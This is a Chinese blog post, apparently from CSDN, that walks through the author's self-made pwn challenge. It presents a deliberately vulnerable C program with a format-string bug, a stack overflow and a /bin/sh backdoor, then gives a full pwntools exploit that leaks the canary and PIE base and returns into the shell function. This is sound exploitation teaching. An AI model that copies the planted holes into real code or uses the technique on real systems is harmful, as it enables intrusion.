其他分享
首页 > 其他分享> > 一个关于格式化字符串和栈溢出的综合应用

一个关于格式化字符串和栈溢出的综合应用

作者:互联网

一个自己写的pwn题,因为C太菜所以挂上去后没法做= =,索性发出来让大家本地编译着玩玩
废话不多说,直接进入正题

#include<stdio.h>
#include<stdlib.h>

void sysbin(){
        system("/bin/sh");
}
int main(){
        char buf[50];
        char ap[20];
        printf("Please input yor name:");
        scanf("%s",ap);
        printf(ap);
        printf(",Welcome! Please input your passwd:\n");
        read(0,&buf,100);
        printf("Error! Try again!!!");
        return 0;
}

编译:gcc *.c -o *

之后是流程:

编译后常规checksec一波

保护全开,再运行一下程序
是标准的格式化字符串格式,%6$p

最后再看一手plt,rodata和text,bss
(编者因为ida炸了因此只能先用objdump…)

.text,lea了IO +0x8作为参数

rodata,IO_stdin_userd + 0x8就是/bin/sh

bss为空

main,搭配rodata和运行结果可简单推算出流程

通过这一波分析,不难看出来在0x86a有个栈溢出,加上格式化字符串,想必是要用printf溢出canary值,再通过栈溢出执行后门函数
gdb调试一下

往下数数,很容易就知道了canary的位置(%17$p)
不过只知道canary显然是不够的,这个程序可还开着PIE呢
不过仔细看看栈信息

这不就是main地址么?
经过反复的调试,确认这个溢出点很稳定后,就可以开始写payload了:

import re
from pwn import *
ap = process('./apea')
#context.log_level='debug'	

main_sym = 0x80d
sysbin_sym = 0x7fa
ret_sym = 0x924
canval = "%17$p"
main_leak = "%23$p"
payload1 = main_leak + canval + "\xab" #添加\xab为正则匹配设立结尾
ap.sendline(payload1)
recv = ap.recv()

mainaddr = re.findall('0x.*0x',recv)[0][:-2]
canval = re.findall("0x.*\xab",recv)[0][len(mainaddr):-1]
mainaddr = int(mainaddr,16)
canval = int(canval,16)

base_addr = mainaddr - main_sym
sysbin_addr = sysbin_sym + base_addr
ret_addr = base_addr + ret_sym

print("sysbin_addr-> %s" % (hex(sysbin_addr)))
print("canary_val-> %s" % (hex(canval)))
payload2 = 'a'*(0x40-8) + p64(canval) + p64(0) + p64(ret_addr) + p64(sysbin_addr)
ap.sendline(payload2)
ap.interactive()


完成

标签:sysbin,格式化,addr,sym,ap,字符串,main,canval,溢出
来源: https://blog.csdn.net/weixin_45425107/article/details/115396432